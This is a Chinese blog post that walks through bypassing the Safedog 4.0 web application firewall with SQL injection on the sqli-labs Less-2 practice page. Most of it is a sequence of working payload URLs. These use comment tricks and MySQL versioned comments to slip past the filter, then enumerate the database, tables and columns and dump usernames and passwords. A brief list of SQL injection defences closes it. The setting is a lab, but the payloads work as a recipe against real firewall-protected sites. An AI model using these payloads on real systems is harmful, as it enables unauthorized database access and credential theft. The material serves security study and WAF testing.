sql注入bypass安全狗4.0

安全狗4.0绕过:

拿sqllib第二关举例,因为是数字型注入,也就不用引入单引号

http://192.168.228.11/mysql/Less-2/?id=1

绕过空格

image

image

image

进行fuzz发现/**/内用以上字符可以实现绕过

image

绕过and

and 不拦截

and 1=1 拦截

and 1 拦截

image

1./!/配合版本号绕过

如果是/*xxx*/里面的xxx不执行

如果是/*!50000xxxx*/ 如果mysql版面大于5.00.00 后面的xxxx就会被直接执行

如果!后面不加版本号,后面的xxxx自动执行

/*小于当前mysql版本号1*/=/*小于当前mysql版本号1*/ --> 1=1

payload:
http://192.168.228.11/mysql/Less-2/?id=1 and /*!500001*/=/*!500001*/--+

image

2.if((1>2),1,2)

payload:
http://192.168.228.11/mysql/Less-2/?id=if((1>2),1,2)--+

image

3.用绕过空格的方法

payload:
http://192.168.228.11/mysql/Less-2/?id=1 and/*//*/1=1 --+

image

image

绕过order by

用绕过空格的方法实现绕过

payload:
http://192.168.228.11/mysql/Less-2/?id=1 order/*//*/by 3 --+

image

image

绕过union select

经过fuzz发现:

绕过空格的/*//*/也被拦截了

union 不拦截

union a 不拦截

select 不拦截

a select 不拦截

union select 拦截

使用版本号过滤:

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!500001select*//*//*/1,2,3--+

image

还是显示拦截

image

image

进行fuzz发现/*!*/内用以上字符可以实现绕过

image

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50044select*//*//*/1,2,3--+

image

查询当前用户

user 不拦截

user() 拦截

user(/*//*/) 不拦截

image

查询当前数据库

database 不拦截

database() 拦截

database(/*//*/) 不拦截

image

查询当前数据库的表

group_concat(table_name) 不拦截

from 不拦截

information_schema.tables 不拦截

where 不拦截

table_schema 不拦截

但最后输出被拦截

http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50044select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(/*//*/) --+

image

再fuzz一下select里面的参数

image

发现为50440-50449时可以实现绕过

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(/*//*/) --+

image

或者表名用16进制表示

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(table_name) ,3 from information_schema.tables where table_schema=0x7365637572697479 --+

image

查询表中字段

与获取当前数据的表一致

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database(/*//*/) --+

image

查询字段值

与前几个差不多

payload:
http://192.168.228.11/mysql/Less-2/?id=-1 union/*//*//*!50440select*//*//*/1,group_concat(username,'-',password) ,3 from users --+

image

sql注入防御

1.部署WAF,防火墙

2.限制关键字的输入,如' " ) #

3.对用户输入的内容进行转义,限制输入的长度

4.使用预编译对SQL语句预处理,进行参数绑定,最后传入参数

posted @ 2021-06-06 22:01  cAr7n  阅读(473)  评论(0编辑  收藏  举报